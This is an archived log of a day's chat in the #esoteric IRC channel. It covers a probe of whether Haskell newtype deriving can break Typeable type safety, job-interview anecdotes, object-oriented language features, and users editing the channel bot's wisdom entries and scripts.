←2016-05 2016-06 2016-07→ ↑2016 ↑all
2016-06-01
00:15:45 -!- hppavilion[1] has joined.
00:19:25 -!- Elronnd\StD has changed nick to Elronnd.
00:21:20 -!- copumpkin has joined.
00:28:33 -!- oerjan has joined.
00:29:30 <boily> yellørjan.
00:30:52 <oerjan> yhoily.
00:36:15 -!- spiette has quit (Quit: .).
00:47:42 <oerjan> hm...
00:48:19 <oerjan> @let class Typeable a => T a
00:48:22 <lambdabot> Defined.
00:49:11 <oerjan> @let newtype W = W Int deriving T
00:49:12 <lambdabot> .L.hs:312:20:
00:49:12 <lambdabot> Can't make a derived instance of ‘T W’:
00:49:12 <lambdabot> ‘T’ is not a derivable class
00:49:16 <oerjan> damn
00:50:25 <oerjan> @tell int-e lambdabot still lacks enabled extensions (like GeneralizedNewtypeDeriving) for enterprise exploit searching tdnh
00:50:26 <lambdabot> Consider it noted.
00:50:33 -!- AstroMoon has joined.
00:52:22 <oerjan> shachaf: argh i need GHC again :(
00:52:33 <shachaf> oerjan: for what
00:52:42 <oerjan> to check if that's an exploit
00:53:01 <shachaf> GHC 8?
00:53:06 <oerjan> you cannot newtype derive Typeable, but can you newtype derive a _subclass_ of it?
00:53:33 <oerjan> shachaf: not just 8
00:53:48 <oerjan> but i'm not going to install an older version, anyway.
00:54:05 <shachaf> when you get ghc 8 you'll have to answer all my questions hth
00:54:14 <oerjan> NOOOOOOOO
00:54:52 -!- AstroMoon has quit (Quit: Got to keep moving!!).
00:56:29 <shachaf> oerjan: Isn't Typeable autoderived these days?
00:56:53 <oerjan> shachaf: yes. the point here is whether you can break it.
00:57:08 <oerjan> by indirectly deriving a wrong instance.
00:59:46 <oerjan> huh the new haskell platform installer requires manual config editing in windows.
01:00:31 <shachaf> Hmm, I think your idea might work...
01:07:14 <\oren\> oerjan: is this a security exploit?
01:07:15 * oerjan downloads minimal version
01:08:00 <oerjan> \oren\: well it's a type safety breach, and some security depends on type safety
01:08:19 <shachaf> not if it takes itself seriously hth
01:08:22 <oerjan> but after all the exploits we've found, you'd be foolish to depend _justs_ on that.
01:08:28 <oerjan> *-s
01:09:01 <oerjan> but still, it'll probbly be enough to increase spj's pulse a bit.
01:09:10 <oerjan> *+a
01:09:35 <oerjan> stupid lag ruins my typing concentration :(
01:10:23 <oerjan> i think the lag might be due to downloading the Platform
01:11:37 <shachaf> oerjan: just download it onto your cloud server hth
01:11:41 <shachaf> it has so much bandwidth
01:11:45 <shachaf> the cloud is all about bandwidth
01:11:52 <oerjan> OKAY
01:11:52 <shachaf> cloud
01:11:58 <oerjan> soon as i get one
01:12:17 -!- ais523 has joined.
01:12:19 <oerjan> wtf it interrupted.
01:12:21 <\oren\> ERROR: Rainbow does not implement interface Icloud
01:13:29 <ybden> :D
01:13:43 <shachaf> oerjan: Oh, maybe it doesn't work.
01:13:48 <shachaf> I'll just let you figure it out.
01:15:37 -!- rntz has quit (Ping timeout: 244 seconds).
01:16:34 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
01:16:39 -!- rntz has joined.
01:22:50 -!- copumpkin has quit (Ping timeout: 258 seconds).
01:23:36 -!- copumpkin has joined.
01:24:25 -!- ybden has quit (Quit: dut).
01:28:15 <oerjan> shachaf: yeah. stupid download.
01:28:40 <oerjan> oh well, 3 mins left it says.
01:30:25 <oerjan> shachaf: i expect that even if it works it'll need some fiddling to get ghc to _not_ ues the autoderived instance.
01:30:29 <oerjan> *use
01:30:56 * oerjan really cannot type when the letters don't show up at the same speed... :(
01:36:40 -!- heroux has quit (Ping timeout: 260 seconds).
01:40:10 -!- hppavilion[1] has joined.
01:57:33 <boily> exploding sheep are fun. mwah ah ah ah ah.
01:58:40 <oerjan> yo, winghci is up
01:59:40 <oerjan> shachaf: i'm also finally restoring backup to my laptop, so now i actually have the origin of sp^wpcs on it.
02:01:03 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
02:02:42 <shachaf> oerjan: whoa, i forgot that pun
02:04:30 * oerjan deletes them from the backup directory on nvg, because they took up like half his quota.
02:04:47 <oerjan> the OOTS book (two versions), that is.
02:04:54 <shachaf> What's your quota?
02:05:47 <oerjan> 250 Mb, i think
02:06:05 -!- Koen_ has quit (Quit: Leaving...).
02:06:30 <oerjan> this backup solution might not scale into the next time...
02:07:17 <shachaf> is that bits or bytes
02:07:34 <oerjan> bytes
02:08:25 <shachaf> you can back up 250MB very cheaply on the internet hth
02:11:09 <oerjan> i guess. i probably even have something from microsoft included with the laptop.
02:11:26 <oerjan> (although i might have to register more "properly")
02:12:08 <shachaf> You can use Google Drive or Dropbox or something for free for that little space, I'm sure.
02:12:39 <shachaf> Of course, why would you want to store your data in the US?
02:13:06 <oerjan> so the NSA can back it up properly, duh
02:13:36 <oerjan> i have so far avoided getting any kind of account with either google or microsoft.
02:14:14 <shachaf> that you know of hth
02:15:08 <shachaf> that would have made more sense if you were talking about the nsa
02:16:08 <oerjan> i'm sure the nsa know all my crimes but consider me too small a fish to fry hth
02:16:27 <shachaf> oerjan: tarsnap will back up your data securely for 250 picodollars / byte-month hth
02:16:43 <shachaf> I have $50 of Tarsnap bounty credit but I've never used it.
02:18:07 <oerjan> yay up and editing
02:22:59 <hppavilion[1]> Hi! I just flew in here from https://youtu.be/wfYbgdo8e-8, and boy is my FREAKTHEFUCKOUT cortex tired!
02:30:45 -!- MoALTz has quit (Quit: Leaving).
02:31:20 -!- boily has quit (Quit: PREMATURE CHICKEN).
02:34:50 <shachaf> oerjan: did you find a bug that lets you unsafeCoerce between a value and its newtype
02:35:09 <oerjan> that's a little unsatisfactory.
02:35:26 <shachaf> Actually I think you can do more.
02:35:40 <oerjan> i'm not sure. i just had a mysterious failure.
02:36:14 <shachaf> exciting
02:37:01 <oerjan> somehow it uses the autoderived Typeable when newtype deriving. or so it seems.
02:38:51 <shachaf> I don't think so?
02:39:12 <oerjan> class Typeable a => S a
02:39:12 <oerjan> instance S Int
02:39:12 <oerjan> newtype W = W Int deriving S
02:39:12 <oerjan> f :: S a => a -> TypeRep
02:39:12 <oerjan> f a = typeOf a
02:39:20 <oerjan> f (W 1) gives W
02:39:32 <shachaf> clas Typeable a => T a where { foo :: a -> TypeRep }; instance T Int where { foo = typeOf }; newtype W = W Int deriving T; typeOf (W 5) -- Int
02:39:51 <shachaf> Er, foo (W 5)
02:40:01 <oerjan> oh you used a method
02:40:24 <shachaf> Aren't methods the issue with GND?
02:41:28 <oerjan> ok, let me try building on that.
02:43:36 <oerjan> shachaf: hm the problem is that a TypeRep doesn't give you enough to break things
02:43:47 <oerjan> and using a :~: fails due to roles, i think.
02:43:54 -!- augur_ has joined.
02:43:56 <shachaf> Using :~: in the method does, yes.
02:43:57 <oerjan> so maybe it really is safe, due to roles
02:44:06 <shachaf> The method type has to be representational or something.
02:44:16 <shachaf> I'm not sure about safe.
02:44:30 <shachaf> But it doesn't seem correct that you can have x :: W such that typeOf x is Int
02:45:20 <oerjan> shachaf: you don't.
02:45:44 <shachaf> You effectively do inside the method.
02:46:30 <shachaf> fsvo effectively
02:47:33 -!- augur has quit (Ping timeout: 258 seconds).
02:47:40 <shachaf> But roles restrict you from doing much.
02:48:03 <oerjan> yes, so it seems.
02:54:09 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
02:54:30 -!- Kaynato has joined.
02:55:46 <shachaf> oerjan: so <shachaf> oerjan: did you find a bug that lets you unsafeCoerce between a value and its newtype
02:56:38 <oerjan> what, do you want a swat or something
02:57:13 -!- copumpkin has joined.
02:58:54 <oerjan> confirmed with a GADT that even if you wrap the class existentially, you still get the automatic Typeable.
03:09:16 <shachaf> oerjan: can you do anything with other fancy types
03:09:22 <shachaf> like Vault or StableName or something
03:09:38 <oerjan> well the question is whether you can get something that doesn't force the role
03:16:57 <shachaf> oerjan: Oh, there's nothing special about Typeable here.
03:18:58 <shachaf> power outage #scow
03:24:57 <zzo38> Could a microcode execution to work in this way: First all register reads and memory reads and calculations are performed simultaneously, and then the jumping and register writes and memory writes are all performed simultaneously; if a register write affects the operation, jumps will be affected for the current cycle but any other affects occur for the next instruction instead.
03:26:16 <oerjan> shachaf: indeed, my error was assuming that superclass dictionaries somehow got wrapped into subclass ones, and went through newtype deriving with them. but any wrapping doesn't happen until afterwards.
03:26:29 <oerjan> at least that's what i now think.
03:27:28 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
03:42:01 <tswett> Long ago (in this exact galaxy), I learned something in a job interview.
03:42:25 <tswett> They asked me to explain the "public", "protected", and "private" access modifiers in OO programming.
03:42:47 <tswett> And in the course of doing so, I realized I didn't quite know how they work.
03:43:47 <tswett> I said that I'm not sure if, in a non-static method belonging to a class, I can access private members of other instances of the class, besides self.
03:43:50 <tswett> Turns out that yeah, you can.
03:43:57 <tswett> And I have no idea why I bring this up.
03:44:12 <tswett> It's kind of a pointless story. Like that one Mitch Hedberg joke.
03:45:34 <zzo38> In what programming language? In some you cannot access private members of other instances of the class
03:45:58 <tswett> I think they were talking about C#. Or... maybe Java?
03:46:09 <tswett> Here we go, it's the Hedberg joke about the locksmith.
03:46:26 <tswett> https://en.wikiquote.org/wiki/Mitch_Hedberg - 'If I was a locksmith I'd be fuckin' pimpin' that shit out. "Say, what's goin' on, man? Tell you what. I'll trade you a free key duplication (laughs)." That joke made me laugh before I could finish it. Which is good 'cause there's no ending.'
03:47:29 <shachaf> One time in a job interview they kept trying to get me to say the word "singleton".
03:47:57 <ais523> shachaf: because they wanted to know you were aware of the concept? or did they just think it was a fun word to say?
03:48:08 <shachaf> I kept avoiding it, and saying things like "global variable" because that's what it really amounted to.
03:49:03 <shachaf> I don't know why.
03:49:28 <zzo38> JavaScript has no classes or public/protected/private, but you can implement a lot of stuff that acts like it. One thing that can be done is to put the private variables and methods that access them in the constructor; in this way it won't have access to privates of other objects. Another thing can be done is you can make up a WeakMap to assign your own private values to any object.
03:50:05 <zzo38> (Actually JavaScript does now have a "class" command, although I do not use it.)
03:51:13 <shachaf> zzo38: What do you use JavaScript for?
03:52:05 -!- hppavilion[1] has joined.
03:52:10 <zzo38> GreaseMonkey, Node.js, userChrome.js
03:52:32 <shachaf> `? usual suspects
03:52:57 <HackEgo> There are 3.99 usual suspects, but they're usually rounded up.
03:53:35 <shachaf> `sled wisdom/usual suspect//s3933
03:53:40 <HackEgo> No output.
03:53:51 <shachaf> oops, squandered opportunity there
03:54:18 <zzo38> What does "sled" mean here?
03:54:32 <shachaf> It means slashsed
03:54:39 <tswett> I did a phone interview once. They asked me: if I had to make some classes to represent square tables, rectangular tables, and circular tables, how would I do it?
03:54:51 <shachaf> You give it an argument consisting of a file name, and then two slashes, and then a sed script.
03:55:12 <tswett> I felt like they were obviously expecting a specific answer.
03:55:16 <shachaf> tswett: Was this an innovative database company?
03:55:20 <zzo38> OK
03:55:28 <shachaf> I've never heard of circular tables but it sounds exciting.
03:55:37 <tswett> Have a Table class, then RectangularTable inheriting from Table, SquareTable inheriting from RectangularTable, CircularTable inheriting from Table.
03:55:43 <tswett> That, of course, is not the answer I gave them.
03:57:54 <zzo38> If they ask me such question then I would just ask them more questions.
03:58:53 <shachaf> zzo38: How would you conduct a job interview?
03:59:02 <shachaf> Or, more generally, how would you decide whether to hire someone for a job?
03:59:45 <zzo38> I don't know, but I suppose it can depend what job.
04:01:02 <shachaf> Yes.
04:03:38 <tswett> Hmmmmm. I'm getting an idea. A terrible idea.
04:03:41 <tswett> Maybe an esolang idea.
04:04:18 <tswett> Interfaces in C# have limitations. For example, there's no way to define this interface:
04:05:14 <tswett> interface ICloneable { T Clone(); /* where T is the class implementing this interface */ }
04:06:05 <tswett> It's also impossible for an interface to contain any method implementations.
04:06:50 <tswett> Interfaces can't contain static members, either.
04:07:02 <tswett> Now, in my opinion, it would make perfect sense for an interface to contain static members.
04:07:32 <shachaf> Sometimes you remind me of Java Update.
04:08:07 <tswett> Who's that?
04:08:31 <zzo38> That isn't so good that it can't be where T is the class implementing this interface. Even Haskell can do that.
04:08:57 <tswett> zzo38: "even Haskell"? That's sort of a core feature of Haskell.
04:09:05 <shachaf> zzo38: Even Haskell?
04:09:14 <zzo38> tswett: Yes I know that
04:09:24 <shachaf> Haskell is an advanced purely-functional programming language.
04:09:51 <tswett> I'm thinkin', could you just have the one concept, called a "trait" or something, that can have abstract members, non-abstract members, static, non-static...
04:10:12 <tswett> And then... implementing an interface is very similar to inheriting from a class.
04:10:44 <tswett> I think I know where this is going.
04:11:01 <shachaf> treason?
04:11:01 <tswett> So, there are things called "traits". Traits replace classes and interfaces.
04:11:04 <tswett> shachaf: yep!
04:12:34 <tswett> A trait can inherit from any number of other traits. Members of traits can be abstract, virtual, or final.
04:14:09 <tswett> Unlike with class inheritance, if a trait B inherits from a trait A, and the trait A has a member called "foo", then the trait B does not automatically have a corresponding member also called "foo".
04:14:14 <tswett> In other words...
04:14:43 <tswett> With trait inheritance, members *are* inherited from one trait into its children; but when a member is inherited, it doesn't necessarily keep its name.
04:15:40 <coppro> tswett: this sounds a lot like C++...
04:15:46 <tswett> coppro: does it?
04:15:50 <tswett> I don't really know C++.
04:16:04 <coppro> C++ doesn't separate interfaces from classes
04:16:21 <coppro> a class can have any number of bases, be entirely abstract, concrete, entirely virtual, entirely not
04:16:35 <tswett> Hmmm.
04:16:36 <coppro> final was added later as a compiler check
04:17:24 <coppro> C++ allows you to hide inheritance behind access control, so that inheritance is, say, private, in which case consumers can't access base members or convert to the base class. It's rarely used though
04:17:42 <coppro> it supports your ICloneable interface, too, via the CRTP
04:17:48 <coppro> (curiously recursive template pattern)
04:17:59 <coppro> or through concepts
04:19:30 <tswett> You can make upcasting private? Interesante.
04:19:53 <coppro> multiple inheritance gets a little weird though
04:20:07 <coppro> suppose you have classes B and C inheriting from A, and D inheriting from B and C
04:20:14 <coppro> then by default, D actually has two copies of A
04:20:36 <coppro> you have to mark the base class A virtual in each case to make it collapse into one (at the cost of a lot of extra runtime thunks)
04:26:59 <tswett> One of these days I'll have to work out category theory.
04:27:25 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
04:30:06 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
04:38:13 -!- hppavilion[1] has joined.
04:38:54 <hppavilion[1]> After watching that video I posted earlier (https://youtu.be/wfYbgdo8e-8 if you forgot), I wrote a program to test communication
04:39:44 <tswett> Hey hppavilion[1].
04:39:45 <hppavilion[1]> I made a 5-bit character set and a program that would accept input and convert strings of "a"s and "s"s into 0s and 1s then into that character set
04:39:57 <tswett> hppavilion[1]: remind me... what country are you in, if I may ask?
04:40:05 <hppavilion[1]> tswett: Transnistria
04:40:31 <hppavilion[1]> You would put your left hand (controlled by the right brain) onto the a and s keys and let it go wild, then it would make a result
04:40:36 <hppavilion[1]> Then I tried talking to my right brain
04:40:44 <hppavilion[1]> [L] Um... hello?
04:40:53 <hppavilion[1]> [R] assaassaassaassaassasasassaassaasasasassasassaaassaassaaasassassaasaassa
04:41:00 <hppavilion[1]> Which converted to:
04:41:01 <hppavilion[1]> MZTGVTFLLDGFWJ
04:41:17 <hppavilion[1]> As I expected, it didn't work in the slightest.
04:41:25 <hppavilion[1]> Existential crisis averted
04:41:45 <hppavilion[1]> tswett: I'm in Alaska, which is in the USA
04:42:33 <shachaf> Well, it's hardly among the 48 original states.
04:42:57 <hppavilion[1]> shachaf: 49, if you count Puerto Rico
04:43:00 <tswett> The 40 original states that the US had back when it was founded, in 1946.
04:43:05 <tswett> s/40/48/
04:43:34 <coppro> USA stands for United State Automaton, right?
04:43:52 <hppavilion[1]> coppro: We're hardly an automaton; at best, we're a decision tree
04:44:04 <hppavilion[1]> Not even a decision tree really; more of a stall-instead-of-making-a-decision tree
04:44:16 <oerjan> `? histogram
04:44:18 <HackEgo> histogram? ¯\(°​_o)/¯
04:44:40 <hppavilion[1]> So no one is interested in my failed experiment?
04:44:57 <tswett> I'm kind of interested.
04:44:58 <hppavilion[1]> (Well, I suppose experiments can't fail if done correctly; they can just give uninteresting results)
04:45:05 <tswett> I've tried to do that sort of thing before.
04:45:15 <hppavilion[1]> I just realized how many times my right brain said "ass"
04:45:44 <hppavilion[1]> I mean, to be fair, there's a 1/8 chance of it saying that for any 3 "a"s and "s"s
04:45:52 <tswett> hppavilion[1]: you ever hear of tulpas? http://www.tulpa.info/what-is-a-tulpa/
04:45:56 <oerjan> `learn Histograms are diagrams showing histamine levels. Taneb invented them.
04:45:57 <hppavilion[1]> And the chance probably goes up when you allow overlapping chains
04:46:02 <HackEgo> Learned 'histogram': Histograms are diagrams showing histamine levels. Taneb invented them.
04:46:03 <hppavilion[1]> tswett: Nope, clicking
04:46:16 <coppro> `?USA
04:46:16 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ?USA: not found
04:46:17 <coppro> `? USA
04:46:21 <HackEgo> See America.
04:46:27 <coppro> `? America
04:46:28 <HackEgo> This wisdom entry had to be removed due to a DMCA takedown notice.
04:46:36 <coppro> boring
04:46:42 <tswett> hppavilion[1]: so, I can try to find you an internship in Michigan if you're ever interested.
04:46:46 <coppro> `learn USA apparently doesn't stand for United State Automaton
04:46:48 <hppavilion[1]> tswett: ...oh god
04:46:49 <HackEgo> Relearned 'usa': USA apparently doesn't stand for United State Automaton
04:46:52 <shachaf> `before
04:46:58 <HackEgo> wisdom/usa//See America.
04:47:23 <hppavilion[1]> shachaf: They tested it before changing it...
04:47:39 <hppavilion[1]> shachaf: It's literally 8 lines above you
04:47:42 <shachaf> look
04:47:45 <shachaf> i'm not the logreader here
04:47:48 <shachaf> blame oerjan
04:48:07 <tswett> hppavilion[1]: oh god what?
04:48:10 <hppavilion[1]> shachaf: I don't think tilting your eyes by about a half a radian counts as logreading
04:48:15 <hppavilion[1]> tswett: tulpas
04:48:31 <hppavilion[1]> tswett: This sounds almost as crazy as fictionkin
04:48:47 <hppavilion[1]> tswett: And at least pice as crazy as otherkin
04:49:50 <hppavilion[1]> tswett: But then again, quantum physics is pretty damn crazy, and brains are a lot bigger than quantum stuff
04:50:18 <hppavilion[1]> tswett: I have a feeling this /might/ be one of those things that is really crazy- crazier than things that are wrong- but also plausible
04:50:59 <shachaf> If oerjan was here he would fix that wisdom entry.
04:51:03 <shachaf> Since he's not retired anymore.
04:51:11 <shachaf> Maybe he'd even fix it with sedlast or sled.
04:52:06 <oerjan> `sled wisdom/usa/s,$,.,
04:52:06 <HackEgo> usage: sled file//script
04:52:10 <oerjan> darn
04:52:17 <oerjan> `sled wisdom/usa//s,$,.,
04:52:20 <HackEgo> wisdom/usa//USA apparently doesn't stand for United State Automaton.
04:52:27 <oerjan> shachaf: i don't trust sedlast
04:52:49 <shachaf> oerjan: it works fine if you're not racist hth
04:54:00 <hppavilion[1]> tswett: It at least seems like an interesting thing to experiment with over the summer
04:54:14 <oerjan> shachaf: since when am i not retired
04:54:46 <shachaf> oerjan: since you started editing wisdom entries again hth
04:55:02 <oerjan> i think you are just confused about what i retired from hth
04:55:18 <oerjan> . o O ( or perhaps i am )
04:55:27 <shachaf> what did you retire from
04:55:52 <oerjan> anyway, in norway retired people are now officially encouraged to keep working.
04:55:59 <oerjan> (sometimes)
04:57:24 <oerjan> shachaf: fixing stupid bugs from people who cannot remember how HackEgo works even after the fifth time
04:57:34 <shachaf> oh
04:57:38 <oerjan> mainly.
04:57:40 <shachaf> why did you ever take that job in the first place
04:57:46 <oerjan> i know, right?
04:58:51 <oerjan> also, i retired from actually checking the repository browser page.
04:59:25 <oerjan> those two things are not unconnected.
04:59:55 <tswett> hppavilion[1]: oh yeah, are you starting summer vacation right around now?
05:00:41 <hppavilion[1]> tswett: I've been on summer vacation for... maybe 2 weeks?
05:00:41 <oerjan> `` ps aux | grep grep
05:00:43 <hppavilion[1]> 2-3
05:00:44 <HackEgo> 5000000000 288 0.0 0.2 4180 620 ? S 04:00 0:00 sh -c 'env' 'PATH=/hackenv/bin:/opt/python27/bin:/opt/ghc/bin:/usr/bin:/bin' 'HACKENV=/hackenv' 'http_proxy=http://127.0.0.1:3128' 'LANG=en_NZ.UTF-8' '/home/hackbot/hackbot.hg/multibot_cmds/lib/limits' '`' 'ps aux | grep grep' | cat \ 500000000 290 0.0 0.6 19140 1600 ?
05:00:50 <shachaf> `? oerjan
05:00:51 <HackEgo> Your retired mysterious adjectival cackling overlord oerjan is a lazy expert in future computation. Also an antediluvian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
05:00:52 <tswett> Oh dang.
05:01:03 <tswett> My summer vacation was yesterday. :D
05:01:29 <oerjan> tswett: _all_ of it?
05:01:36 <oerjan> i knew americans had it bad, but...
05:02:05 <tswett> I have an office job. I get 25 vacation days a year.
05:02:05 <shachaf> `sled wisdom/oerjan//s-retired --;s(rd(rd emeritus(
05:02:10 <HackEgo> wisdom/oerjan//Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also an antediluvian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
05:02:19 <pikhq> A whole 25? Envy.
05:02:51 <shachaf> pikhq: You get that at Google after 5 years, right?
05:02:57 <shachaf> Except in Europe where you get it right away, or something.
05:03:07 <pikhq> Yeah.
05:03:09 <tswett> Which... I understand that Europe generally has better vacation time than the US.
05:03:38 <oerjan> `sedlast s/antediluvian/precambrian/
05:03:45 <HackEgo> wisdom/oerjan//Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also an precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
05:03:49 <tswett> Man, y'know, I think I've been a regular in this channel for about 11 years now.
05:03:52 <oerjan> oops
05:04:02 <shachaf> oerjan: suddenly you're sedlasting?
05:04:13 <shachaf> tswett: 11 years a regular and still not a member?
05:04:17 <oerjan> `sedlast s/ an/ a/
05:04:24 <HackEgo> wisdom/oerjan//Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
05:04:33 <pikhq> How long have I been here?
05:04:38 <pikhq> I honestly don't know.
05:04:59 <shachaf> I've been using Freenode for over 12 years, I think.
05:05:10 <shachaf> Though my nick was registered a little under 12.
05:05:31 -!- Elronnd has changed nick to Elronnd\StD.
05:06:18 <shachaf> ...12 years ago, not age 12
05:06:45 <shachaf> Though those aren't all that far apart.
05:06:49 <shachaf> Maybe.
05:07:10 <shachaf> Maybe I should stay away from that topic.
05:07:11 <oerjan> `sedlast s/pre/Pre/
05:07:20 <HackEgo> wisdom/oerjan//Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker.
05:08:41 <oerjan> i've been here for 10 years now. plus/minus a few days.
05:09:40 <oerjan> hm minus, apparently.
05:09:48 <oerjan> maybe i was on the wiki first.
05:11:04 <shachaf> `le/rn chaf/Any word ending in "chac" can notify shachaf.
05:11:07 <HackEgo> Learned «chaf»
05:11:08 <shachaf> oops
05:11:14 <shachaf> `sedlast shachafh
05:11:21 <HackEgo> wisdom/chaf//Any word ending in "chaf" can notify shachaf.
05:15:27 <shachaf> `forget chaf
05:15:31 <HackEgo> Forget what?
05:16:00 <shachaf> HackEgo: chaf
05:18:35 <tswett> I wonder when my first wiki edit was.
05:19:53 <tswett> 2005.
05:22:46 <tswett> So yeah. About 11 years.
05:24:36 -!- Sgeo has quit (Read error: Connection reset by peer).
05:55:05 -!- Kaynato has quit (Ping timeout: 260 seconds).
05:57:15 -!- Sgeo has joined.
06:00:38 <hppavilion[1]> sgello
06:09:26 <Sgeo> Hi
06:09:40 <Sgeo> My expensive toys aren't working :(
06:14:54 <pikhq> And your cheap toys?
06:21:29 <Sgeo> This ring is still holding together
06:34:01 -!- ais523 has quit (Ping timeout: 240 seconds).
06:39:40 -!- ais523 has joined.
06:54:11 <hppavilion[1]> I don't see why people use 4-part versioning schemes when we can use the more modern, more expressive 18446744073709551616-part schemes
06:54:36 <lifthrasiir> isn't that called open source
06:54:42 <hppavilion[1]> And even then, we should avoid those for major software and use the G64-part scheme
07:05:35 <oerjan> `? tetris
07:05:39 <HackEgo> tetris? ¯\(°​_o)/¯
07:05:42 <hppavilion[1]> http://www.qwantz.com/index.php?comic=2985 is actually an awesome idea
07:06:50 -!- lambda-11235 has quit (Quit: Bye).
07:06:56 <oerjan> `learn Tetris is where Soviet Russia was invented. Taneb was not present although Triangle and Robert were.
07:06:59 <HackEgo> Learned 'tetri': Tetris is where Soviet Russia was invented. Taneb was not present although Triangle and Robert were.
07:07:31 <oerjan> `` mv wisdom/tetri{,s}
07:07:34 <HackEgo> No output.
07:08:26 -!- heroux has joined.
07:19:58 <oerjan> <shachaf> What happened there? <-- a timeout, probably.
07:20:33 <shachaf> oerjan: I guess if it prints text and then times out some text still gets printed.
07:20:42 <oerjan> yeah
07:20:54 <shachaf> you have an odd logreading order
07:21:53 <oerjan> <gamemanj> ...or at least one of them, at any rate! <-- hi
07:22:07 <oerjan> shachaf: no, i've just not got any further?
07:22:26 <shachaf> I guess you don't count reading your IRC client as logreading.
07:22:32 <oerjan> indeed.
07:23:58 <oerjan> `` ls wisdom/usual*
07:24:01 <HackEgo> wisdom/usual suspects
07:24:16 <shachaf> I guess you could de-s it.
07:24:23 <oerjan> `` ls wisdom/*usual*
07:24:25 <HackEgo> wisdom/the usual suspect \ wisdom/usual suspects
07:24:38 <oerjan> `cat wisdom/the usual suspect
07:24:39 <HackEgo> cat: wisdom/the usual suspect: No such file or directory
07:24:50 <shachaf> fine, i made a mess of it
07:24:58 * oerjan cackles adjectivally
07:24:59 <myname> how the fuck did this tetri learning happen?
07:25:22 <oerjan> myname: it strips off s
07:25:35 <myname> ah, plural
07:25:53 <myname> better slashlearn
07:25:56 <shachaf> `` ls wisdom/the\ usual\ suspect
07:25:57 <HackEgo> wisdom/the usual suspect
07:26:00 <shachaf> `` ls -l wisdom/the\ usual\ suspect
07:26:02 <HackEgo> lrwxrwxrwx 1 5000000 0 13 May 31 19:43 wisdom/the usual suspect -> usual suspect
07:26:11 <shachaf> `` mv wisdom/usual\ suspect{s,}
07:26:13 <HackEgo> No output.
07:26:15 <shachaf> `? the usual suspects
07:26:19 <HackEgo> There are 3.99 usual suspects, but they're usually rounded up.
07:26:48 <shachaf> `sled wisdom/usual suspect//s;,; in #esoteric,;
07:26:52 <HackEgo> wisdom/usual suspect//There are 3.99 usual suspects in #esoteric, but they're usually rounded up.
07:27:32 <myname> i demand names
07:28:25 <shachaf> I was pretty pleased with that pun.
07:28:42 <shachaf> @tell boily if only you were here to measure my funpun tdnh
07:28:42 <lambdabot> Consider it noted.
07:29:37 -!- augur_ has quit (Remote host closed the connection).
07:30:17 <oerjan> myname: John, Ahmed, Jens, Fiona and Balthasar hth
07:30:23 -!- augur has joined.
07:30:57 <shachaf> oerjan is good at rounding
07:31:04 <oerjan> yep
07:31:36 <shachaf> i,i But the Judge said he never had summed up before; / So the Snark undertook it instead, / And summed it so well that it came to far more / Than the Witnesses ever had said!
07:33:15 <oerjan> `cat bin/sled
07:33:15 <HackEgo> ​[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || exit 1; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; }
07:33:45 <oerjan> `sled fnord//hi
07:33:46 <HackEgo> No output.
07:34:42 -!- augur has quit (Ping timeout: 250 seconds).
07:34:46 <shachaf> Maybe a sledpreview would be useful.
07:35:05 <shachaf> So you can test in /msg and then sled in produ^W#esoteric.
07:35:34 <oerjan> `sled bin/sled/s/exit 1; sed/{ echo 'Rosebud!'; exit 1 }/
07:35:36 <shachaf> `sled bin/sled//s#\|\| exit 1#|| { echo 'no such file'; exit 1; }#
07:35:36 <HackEgo> usage: sled file//script
07:35:39 <HackEgo> bin/sled//|| { echo 'no such file'; exit 1; }[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || exit 1; sed -i "$value" "$key" && { echo -n "$key//"; cat "$key"; }
07:35:49 <oerjan> :(
07:35:50 <shachaf> oops
07:36:04 <shachaf> `revert
07:36:06 <hppavilion[1]> I just discovered Dinosaur Comics 'butiwouldratherbereading'
07:36:23 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
07:36:25 <oerjan> `sled bin/sled//s/exit 1; sed/{ echo 'Rosebud!'; exit 1 }/
07:36:32 <HackEgo> bin/sled//[[ "$1" == ?*//* ]] || { echo 'usage: sled file//script'; exit 1; }; key="${1%%//*}"; value="${1#*//}"; [[ -f "$key" ]] || { echo 'Rosebud!'; exit 1 } -i "$value" "$key" && { echo -n "$key//"; cat "$key"; }
07:36:32 <oerjan> revert is so slow
07:36:45 <oerjan> `sled fnord//hi
07:36:46 <HackEgo> ​/hackenv/bin/sled: line 2: syntax error: unexpected end of file
07:36:50 <oerjan> damn
07:36:54 <hppavilion[1]> Which suggests that Dinosaur Comics is generated by an algorithm; the individual pages might even just be text on the server
07:37:09 <oerjan> oh
07:37:12 <oerjan> `revert
07:37:15 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
07:37:22 <hppavilion[1]> OMG
